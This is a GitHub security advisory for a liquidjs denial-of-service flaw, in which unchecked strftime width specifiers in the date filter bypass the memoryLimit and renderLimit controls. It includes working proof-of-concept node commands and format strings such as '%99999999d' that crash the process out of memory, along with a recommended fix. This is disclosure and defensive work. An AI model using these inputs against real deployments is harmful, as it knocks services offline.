CVE-2026-45357
ADVISORY - githubSummary
Summary
The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.
Details
date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:
export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
this.context.memoryLimit.use(size)
...
return strftime(date, format)
}
strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:
function format (d, match) {
const [input, flagStr = '', width, modifier, conversion] = match
...
let padWidth = width || padWidths[conversion] || 0
...
return padStart(ret, padWidth, padChar) // strftime.ts:147
}
padStart calls pad() in src/util/underscore.ts:153:
export function pad (str, length, ch, add) {
str = String(str)
let n = length - str.length
while (n-- > 0) str = add(str, ch) // unbounded loop
return str
}
The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.
Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.
This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).
PoC
Setup: npm install liquidjs@10.25.7.
Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):
node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"
Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.
Step 2 — OOM-kill the Node process under a 200 MB heap cap:
node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"
Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.
The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).
Impact
- DoS against any LiquidJS-rendered surface where a context value reaches the
datefilter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process. - Bypass of the engine's two documented DoS controls —
memoryLimitandrenderLimit— meaning that operators who explicitly opted into DoS protection still have no defense for this code path. - All
date_to_xmlschema,date_to_rfc822,date_to_string,date_to_long_stringpaths share the same sink viastrftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is ondate.
Recommended Fix
Two complementary fixes:
- Have
pad()insrc/util/underscore.tscharge the Context's memory limit and useString.prototype.repeatinstead of an O(n) concatenation loop. Sincepad()is generic, the simplest version takes the memory limit as a parameter:
export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
str = String(str)
const n = length - str.length
if (n <= 0) return str
return add === ((s, c) => c + s)
? ch.repeat(n) + str
: str + ch.repeat(n)
}
- Cap
padWidthinsrc/util/strftime.ts:141and account for it viamemoryLimit. Thedatefilter (src/filters/date.ts) should also chargethis.context.memoryLimit.use(parsedMaxWidth)before invokingstrftime, e.g. by scanning the format for%(\d+)widths and summing them. A conservative cap (e.g.Math.min(width, 1024)for non-Nconversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.
Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.
Common Weakness Enumeration (CWE)
Uncontrolled Resource Consumption
GitHub
3.9
CVSS SCORE
7.5high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| liquidjs | npm | - | - | <=10.25.7 | Not yet available |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is no loss of trust or accuracy within the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.